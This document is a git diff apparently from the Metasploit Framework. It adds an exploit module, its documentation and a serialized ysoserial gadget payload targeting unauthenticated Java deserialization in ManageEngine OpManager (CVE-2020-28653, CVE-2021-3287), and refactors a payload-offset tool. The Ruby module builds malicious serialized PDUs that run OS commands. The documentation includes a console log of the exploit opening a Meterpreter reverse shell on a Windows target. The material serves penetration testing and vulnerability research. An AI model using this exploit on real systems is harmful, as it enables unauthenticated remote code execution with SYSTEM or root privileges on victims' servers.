diff --git a/data/ysoserial_payloads.json b/data/ysoserial_payloads.json index 1f177e1be0fa..3192e7971b23 100644 --- a/data/ysoserial_payloads.json +++ b/data/ysoserial_payloads.json @@ -317,6 +317,17 @@ }, "Wicket1": { "status": "unsupported" + }, + "frohoff/ysoserial#168": { + "status": "dynamic", + "lengthOffset": [ + 553, + 1742 + ], + "bufferOffset": [ + 1743 + ], + "bytes": "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAnamF2YS51dGlsLkNvbGxlY3Rpb25zJFJldmVyc2VDb21wYXJhdG9yZASK8FNOStACAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpTK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAACAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyMDAwMDAwMDAwMDAwMDABAB9MeXNvc2VyaWFsL1B3bmVyMDAwMDAwMDAwMDAwMDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=" } }, "bash": { diff --git a/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md new file mode 100644 index 000000000000..11c4b9767982 --- /dev/null +++ b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md @@ -0,0 +1,116 @@ +## Vulnerable Application + +### Description + +An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an +arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of +the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other +products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 - +12.5.328. + +#### CVE-2020-28653 +This vulnerability affects OpManager versions 12.1 - 12.5.232. The vulnerability involves sending a malicious PDU to the +SmartUpdateManager handler that when deserialized executes an arbitary OS command. + +#### CVE-2021-3287 +This vulnerability is a patch bypass for CVE-2020-28653 and affects OpManger versions 12.5.233 - 12.5.328. When the +original vulnerability was patched, it was done so using a new `ITOMObjectInputStream` deserializer class. This object +has a flaw in it's validation logic. The object works by requiring the caller to specify a list of one or more object +classes that can be deserialized. If an instance is used to perform more than one `readObject` call however, only the +first is protected because once a serialized object of an allowed type is read from the stream, the +`ITOMObjectInputStream` instance remains in a sort of authenticated state where subsequent objects can be read of any +type. + +The exploit technique for this CVE leverages this by first sending a legitimate, serialized SUMPDU to create an instance +of the `SUMServerIOAndDataAnalyzer` object whose `process` method makes multiple `readObject` calls using the same +instance for each. + +Unlike exploiting CVE-2020-28653, to exploit CVE-2021-3287 the target server must have the SUM server running. This is +not the case for the standard installer, but is the case for "Central" variant. Without the SUM server running, the log +handler is not initialized which causes the request handler to crash making the vulnerable code path inaccessible. + +### Setup (Windows) + +1. Download an affected version for either Windows or Linux from the [archive][0] +1. Run the installer executable +1. Accept the default values for all settings (skip registration), until the very end when prompted to start the + application +1. Unselect the option to start the application + 1. If this option is missed, just navigate to the tray icon where it will say that it's starting and select the + option to stop it +1. Start a command prompt as an administrative user +1. Navigate to `C:\Program Files\ManageEngine\OpManager\bin`, older versions use `C:\ManageEngine\OpManager\bin` +1. Run `run.bat` +1. View and accept the license terms +1. Press `f` to run the product in Free mode + +OpManager should start successfully after a few minutes. At that point the service can be exploited. In this case the +session will be opened in the context of the user that ran the service with `run.bat`. Once the server is restarted and +OpManager starts automatically, the vulnerability can be exploited to open a session in the context of NT +AUTHORITY\SYSTEM. + +### Setup (Linux) + +1. Download an affected version for either Windows or Linux from the [archive][0] +1. Run the installer executable as root +1. Accept the default values for all settings (skip registration) +1. Navigate to `/opt/ManageEngine/OpManagerCentral/bin` +1. Run `run.sh` as root + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/multi/http/opmanager_sumpdu_deserialization` +1. Set the `RHOSTS`, `TARGET`, `PAYLOAD` and payload-related options as necessary +1. Do: `run` +1. You should get a shell. + +## Options + +### CVE +Vulnerability to use. If set to 'Automatic' (the default), the module will attempt to detect the version and select the +correct vulnerability. + +## Scenarios + +### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.328 + +``` +msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization +[*] Using configured payload windows/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.96 +RHOSTS => 192.168.159.96 +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell +TARGET => Windows PowerShell +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +PAYLOAD => windows/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 +LHOST => 192.168.159.128 +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check +[*] 192.168.159.96:8060 - The target appears to be vulnerable. +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit + +[*] Started reverse TCP handler on 192.168.159.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] An HTTP session cookie has been issued +[*] Detected version: 12.5.328 +[*] The request handler has been associated with the HTTP session +[*] Sending stage (200262 bytes) to 192.168.159.96 +[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.96:63887) at 2021-09-16 14:06:27 -0400 + +meterpreter > getuid +Server username: MSFLAB\smcintyre +meterpreter > sysinfo +Computer : WIN-3MSP8K2LCGC +OS : Windows 2016+ (10.0 Build 17763). +Architecture : x64 +System Language : en_US +Domain : MSFLAB +Logged On Users : 9 +Meterpreter : x64/windows +meterpreter > +``` + +[0]: https://archives.manageengine.com/opmanager/ diff --git a/lib/msf/util/java_deserialization.rb b/lib/msf/util/java_deserialization.rb index 71d031234740..3c9ef0035d40 100644 --- a/lib/msf/util/java_deserialization.rb +++ b/lib/msf/util/java_deserialization.rb @@ -11,11 +11,11 @@ class JavaDeserialization def self.ysoserial_payload(payload_name, command=nil, modified_type: 'none') # Open the JSON file and parse it + path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME) begin - path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME) json = JSON.parse(File.read(path)) rescue Errno::ENOENT, JSON::ParserError - raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'" + raise RuntimeError, "Unable to load JSON data from: #{path}" end # Extract the specified payload type (including cmd, bash, powershell, none) diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb new file mode 100644 index 000000000000..a18f1d219243 --- /dev/null +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -0,0 +1,281 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + include Rex::Java + + JAVA_SERIALIZED_STRING = [ Serialization::TC_STRING, 0 ].pack('Cn') + JAVA_SERIALIZED_STRING_ARRAY = "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e"\ + "\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x00".b + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ManageEngine OpManager SumPDU Java Deserialization', + 'Description' => %q{ + An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to + deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS + commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This + vulnerability is also present in other products that are built on top of the OpManager application. This + vulnerability affects OpManager versions 12.1 - 12.5.328. + + Automatic CVE selection only works for newer targets when the build number is present in the logon page. Due + to issues with the serialized payload this module is incompatible with versions prior to 12.3.238 despite them + technically being vulnerable. + }, + 'Author' => [ + 'Johannes Moritz', # Original Vulnerability Research + 'Robin Peraglie', # Original Vulnerability Research + 'Spencer McIntyre' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], + 'Platform' => [ 'win', 'linux', 'python', 'unix' ], + 'References' => [ + [ 'CVE', '2020-28653' ], # original CVE + [ 'CVE', '2021-3287' ], # patch bypass + [ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ] + ], + 'Privileged' => true, + 'Targets' => [ + [ + 'Windows Command', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'win', + 'Type' => :win_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' + } + } + ], + [ + 'Windows Dropper', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'win', + 'Type' => :win_dropper, + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' + } + } + ], + [ + 'Windows PowerShell', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'win', + 'Type' => :win_psh, + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' + } + } + ], + [ + 'Unix Command', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Type' => :nix_cmd + } + ], + [ + 'Linux Dropper', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'linux', + 'Type' => :nix_dropper, + 'DefaultOptions' => { + 'CMDSTAGER::FLAVOR' => 'wget', + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ], + [ + 'Python', + { + 'Arch' => ARCH_PYTHON, + 'Platform' => 'python', + 'Type' => :python, + 'DefaultOptions' => { + 'PAYLOAD' => 'python/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultOptions' => { + 'RPORT' => 8060 + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2021-07-26', + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ ARTIFACTS_ON_DISK ], + 'Stability' => [ CRASH_SAFE ] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [ true, 'OpManager path', '/']), + OptEnum.new('CVE', [ true, 'Vulnerability to use', 'Automatic', [ 'Automatic', 'CVE-2020-28653', 'CVE-2021-3287' ] ]) + ]) + end + + def check + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'), + 'data' => build_java_serialized_int(1002) + }) + return Exploit::CheckCode::Unknown unless res + # the patched version will respond back with 200 OK and no data in the response body + return Exploit::CheckCode::Safe unless res.code == 200 && res.body.start_with?("\xac\xed\x00\x05".b) + + Exploit::CheckCode::Detected + end + + def exploit + # Step 1: Establish a valid HTTP session + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true + }) + unless res&.code == 200 && res.get_cookies =~ /JSESSIONID=/ + fail_with(Failure::UnexpectedReply, 'Failed to establish an HTTP session') + end + print_status('An HTTP session cookie has been issued') + if (@vulnerability = datastore['CVE']) == 'Automatic' + # if selecting the vulnerability automatically, use version detection + if (version = res.body[%r{(?<=cachestart/)(\d{6})(?=/cacheend)}]&.to_i).nil? + fail_with(Failure::UnexpectedReply, 'Could not identify the remote version number') + end + + version = Rex::Version.new("#{version / 10000}.#{(version % 10000) / 1000}.#{version % 1000}") + print_status("Detected version: #{version}") + if version < Rex::Version.new('12.1') + fail_with(Failure::NotVulnerable, 'Versions < 12.1 are not affected by the vulnerability') + elsif version < Rex::Version.new('12.5.233') + @vulnerability = 'CVE-2020-28653' + elsif version < Rex::Version.new('12.5.329') + @vulnerability = 'CVE-2021-3287' + else + fail_with(Failure::NotVulnerable, 'Versions > 12.5.328 are not affected by this vulnerability') + end + end + + # Step 2: Add the requestHandler to the HTTP session + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'), + 'keep_cookies' => true, + 'data' => build_java_serialized_int(1002) + }) + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Failed to setup the HTTP session') + end + print_status('The request handler has been associated with the HTTP session') + + if @vulnerability == 'CVE-2021-3287' + # need to send an OPEN_SESSION request to the SUM PDU handler so the SUMServerIOAndDataAnalyzer object is + # initialized and made ready to process subsequent requests + send_sumpdu(build_sumpdu(data: build_java_serialized_int(0))) + end + + # Step 3: Exploit the deserialization vulnerability to run commands + case target['Type'] + when :nix_dropper + execute_cmdstager + when :win_dropper + execute_cmdstager + when :win_psh + execute_command(cmd_psh_payload( + payload.encoded, + payload.arch.first, + remove_comspec: true + )) + else + execute_command(payload.encoded) + end + end + + def build_java_serialized_int(int) + stream = Serialization::Model::Stream.new + stream.contents << Serialization::Model::BlockData.new(stream, [ int ].pack('N')) + stream.encode + end + + def build_sumpdu(data: '') + # build a serialized SUMPDU object with a custom data block + sumpdu = "\xac\xed\x00\x05\x73\x72\x00\x27\x63\x6f\x6d\x2e\x61\x64\x76\x65".b + sumpdu << "\x6e\x74\x6e\x65\x74\x2e\x74\x6f\x6f\x6c\x73\x2e\x73\x75\x6d\x2e".b + sumpdu << "\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x2e\x53\x55\x4d\x50\x44\x55\x24".b + sumpdu << "\x29\xfc\x8a\x86\x1b\xfd\xed\x03\x00\x03\x5b\x00\x04\x64\x61\x74".b + sumpdu << "\x61\x74\x00\x02\x5b\x42\x4c\x00\x02\x69\x64\x74\x00\x12\x4c\x6a".b + sumpdu << "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b".b + sumpdu << "\x4c\x00\x08\x75\x6e\x69\x71\x75\x65\x49\x44\x71\x00\x7e\x00\x02".b + sumpdu << "\x78\x70\x7a" + [ 0x14 + data.length ].pack('N') + sumpdu << "\x00\x0c\x4f\x50\x45\x4e\x5f\x53\x45\x53\x53\x49\x4f\x4e\x00\x00".b + sumpdu << "\x00\x00" + sumpdu << [ data.length ].pack('n') + data + sumpdu << "\x78".b + sumpdu + end + + def send_sumpdu(sumpdu) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet'), + 'keep_cookies' => true, + 'data' => [ sumpdu.length ].pack('N') + sumpdu + }) + res + end + + def execute_command(cmd, _opts = {}) + # An executable needs to be prefixed to the command to make it compatible with the way in which the gadget chain + # will execute it. + case target['Platform'] + when 'python' + cmd.prepend('python -c ') + when 'win' + cmd.prepend('cmd.exe /c ') + else + cmd.gsub!(/\s+/, '${IFS}') + cmd.prepend('sh -c ') + end + + vprint_status("Executing command: #{cmd}") + # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the + # dependency on the commons-collections library making it usable in this context + java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd) + + if @vulnerability == 'CVE-2020-28653' + # in this version, the SUM PDU that is deserialized is the malicious object + sum_pdu = java_payload + elsif @vulnerability == 'CVE-2021-3287' + # the patch bypass exploits a flaw in the ITOMObjectInputStream where it can be put into a state that allows + # arbitrary objects to be deserialized by first sending an object of the expected type + pdu_data = build_java_serialized_int(2) # 2 is some kind of control code necessary to execute the desired code path + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING_ARRAY + pdu_data << Serialization::TC_RESET + pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b) + sum_pdu = build_sumpdu(data: pdu_data) + end + + res = send_sumpdu(sum_pdu) + fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200 + end +end diff --git a/tools/payloads/ysoserial/Dockerfile b/tools/payloads/ysoserial/Dockerfile index 798e52cc3c8c..1712395b4720 100644 --- a/tools/payloads/ysoserial/Dockerfile +++ b/tools/payloads/ysoserial/Dockerfile @@ -23,11 +23,11 @@ RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysos # Download ysoserial-modified RUN wget -q https://github.com/pimps/ysoserial-modified/raw/1bd423d30ae87074f94d6b9b687c17162f122c3d/target/ysoserial-modified.jar -# Install gems: diff-lcs v1.3 (to diff the ysoserial output, v1.4 breaks the script) +# Install gems: diff-lcs v1.4.4 (to diff the ysoserial output) # json (to print the scripts results in JSON) # pry (to debug issues) -RUN gem install --silent diff-lcs:1.3 json pry +RUN gem install --silent diff-lcs:1.4.4 json pry COPY find_ysoserial_offsets.rb / -CMD ruby /find_ysoserial_offsets.rb -a +ENTRYPOINT ["ruby", "/find_ysoserial_offsets.rb"] diff --git a/tools/payloads/ysoserial/find_ysoserial_offsets.rb b/tools/payloads/ysoserial/find_ysoserial_offsets.rb index aa3af7054dd1..7313d8f59974 100755 --- a/tools/payloads/ysoserial/find_ysoserial_offsets.rb +++ b/tools/payloads/ysoserial/find_ysoserial_offsets.rb @@ -4,73 +4,80 @@ require 'json' require 'base64' require 'open3' +require 'optparse' -YSOSERIAL_RANDOMIZED_HEADER = 'ysoserial/Pwner' +YSOSERIAL_RANDOMIZED_HEADER = 'ysoserial/Pwner'.freeze PAYLOAD_TEST_MIN_LENGTH = 0x0101 PAYLOAD_TEST_MAX_LENGTH = 0x0102 -YSOSERIAL_MODIFIED_TYPES = %w{ bash cmd powershell } -YSOSERIAL_UNMODIFIED_TYPE = 'none' -YSOSERIAL_ALL_TYPES = [YSOSERIAL_UNMODIFIED_TYPE] + YSOSERIAL_MODIFIED_TYPES - -# ARGV parsing -if ARGV.include?("-h") - puts 'ysoserial object template generator' - puts - puts 'Usage:' - puts ' -h Help' - puts ' -d Debug mode (output offset information only)' - puts " -m [type] Use 'ysoserial-modified' with the specified payload type" - puts ' -p [payloads] Specified ysoserial payload (payloads1,payloads2,...)' - puts ' -a Generate all types of payloads' - puts - abort -end +YSOSERIAL_MODIFIED_TYPES = %w[bash cmd powershell].freeze +YSOSERIAL_UNMODIFIED_TYPE = 'none'.freeze +YSOSERIAL_ALL_TYPES = ([YSOSERIAL_UNMODIFIED_TYPE] + YSOSERIAL_MODIFIED_TYPES).freeze + +@debug = false +@generate_all = false +@payload_type = YSOSERIAL_UNMODIFIED_TYPE +@ysoserial_payloads = [] +@json_document = {} +OptionParser.new do |opts| + opts.banner = "Usage #{File.basename($PROGRAM_NAME)} [options]" + + opts.on('-a', '--all', 'Generate all types of payloads') do + @generate_all = true + end -@generate_all = ARGV.include?('-a') -@debug = ARGV.include?('-d') -@ysoserial_modified = ARGV.include?('-m') -if @ysoserial_modified - @payload_type = ARGV[ARGV.find_index('-m')+1] - unless YSOSERIAL_MODIFIED_TYPES.include?(@payload_type) - STDERR.puts 'ERROR: Invalid payload type specified' + opts.on('-d', '--debug', 'Debug mode (output offset information only)') do + @debug = true + end + + opts.on('-h', '--help', 'Help') do + puts opts abort end -end -if (index = ARGV.index('-p')) - @ysoserial_payloads = ARGV[index+1].split(',') -end + + opts.on('-m', '--modified [TYPE]', String, 'Use \'ysoserial-modified\' with the specified payload type') do |modified_type| + @payload_type = modified_type + end + + opts.on('-p', '--payload [PAYLOAD]', String, 'Specified ysoserial payload') do |payload| + @ysoserial_payloads << payload + end + + opts.on('-j', '--json [PATH]', String, 'Update an existing JSON document') do |json_path| + @json_document = JSON.parse(File.read(json_path)) + end +end.parse! def generate_payload(payload_name, search_string_length) # Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload - searchString = 'A' * search_string_length + search_string = 'A' * search_string_length # Build the command line with ysoserial parameters - if @ysoserial_modified - stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-modified.jar', payload_name, @payload_type, searchString) + if @payload_type == YSOSERIAL_UNMODIFIED_TYPE + stdout, stderr, _status = Open3.capture3('java', '-jar', 'ysoserial-original.jar', payload_name, search_string) else - stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-original.jar', payload_name, searchString) + stdout, stderr, _status = Open3.capture3('java', '-jar', 'ysoserial-modified.jar', payload_name, @payload_type, search_string) end payload = stdout payload.force_encoding('binary') - if payload.length == 0 && stderr.length > 0 + if @debug && payload.empty? && !stderr.empty? # Pipe errors out to the console - STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")} + warn(stderr.split("\n").each { |i| i.prepend(' ') }) elsif stderr.include? 'java.lang.IllegalArgumentException' - #STDERR.puts " WARNING: '#{payload_name}' requires complex args and may not be supported" + # STDERR.puts " WARNING: '#{payload_name}' requires complex args and may not be supported" return nil elsif stderr.include? 'Error while generating or serializing payload' - #STDERR.puts " WARNING: '#{payload_name}' errored and may not be supported" + # STDERR.puts " WARNING: '#{payload_name}' errored and may not be supported" return nil elsif stdout == "\xac\xed\x00\x05\x70" - #STDERR.puts " WARNING: '#{payload_name}' returned null and may not be supported" + # STDERR.puts " WARNING: '#{payload_name}' returned null and may not be supported" return nil else - #STDERR.puts " Successfully generated #{payload_name} using #{YSOSERIAL_BINARY}" + # STDERR.puts " Successfully generated #{payload_name} using #{YSOSERIAL_BINARY}" # Strip out the semi-randomized ysoserial string and trailing newline - payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]{14}/, 'ysoserial/Pwner00000000000000') + payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]{13,14}/, 'ysoserial/Pwner00000000000000') return payload end end @@ -81,6 +88,7 @@ def generate_payload_array(payload_name) (PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i| payload = generate_payload(payload_name, i) return nil if payload.nil? + payload_array[i] = payload end @@ -89,10 +97,8 @@ def generate_payload_array(payload_name) def length_offset?(current_byte, next_byte) # If this byte has been changed, and is different by one, then it must be a length value - if next_byte && current_byte.position == next_byte.position && current_byte.action == "-" - if next_byte.element.ord - current_byte.element.ord == 1 - return true - end + if next_byte && current_byte.position == next_byte.position && current_byte.action == '-' && (next_byte.element.ord - current_byte.element.ord == 1) + return true end false @@ -107,10 +113,11 @@ def buffer_offset?(current_byte, next_byte) false end -def diff(a, b) - return nil if a.nil? or b.nil? - diffs = Diff::LCS.diff(a, b) - diffs.flatten +def diff(blob_a, blob_b) + return nil if blob_a.nil? || blob_b.nil? + + diffs = Diff::LCS.diff(blob_a, blob_b) + diffs.flatten(1) end def get_payload_list @@ -127,24 +134,25 @@ def get_payload_list payload_list = [] payloads.each do |line| # Skip the header rows - next unless line.start_with? " " + next unless line.start_with? ' ' + payload_list.push(line.match(/^ +([^ ]+)/)[1]) end payload_list - ['JRMPClient', 'JRMPListener'] end -#YSOSERIAL_MODIFIED_TYPES.unshift(YSOSERIAL_ORIGINAL_TYPE) +# YSOSERIAL_MODIFIED_TYPES.unshift(YSOSERIAL_ORIGINAL_TYPE) def generated_ysoserial_payloads results = {} @payload_list.each do |payload| - STDERR.puts "Generating payloads for #{payload}..." + warn "Generating payloads for #{payload}..." empty_payload = generate_payload(payload, 0) if empty_payload.nil? - STDERR.puts " ERROR: Errored while generating '#{payload}' and it will not be supported" - results[payload]={"status": "unsupported"} + warn " ERROR: Errored while generating '#{payload}' and it will not be supported" + results[payload] = { status: 'unsupported' } next end 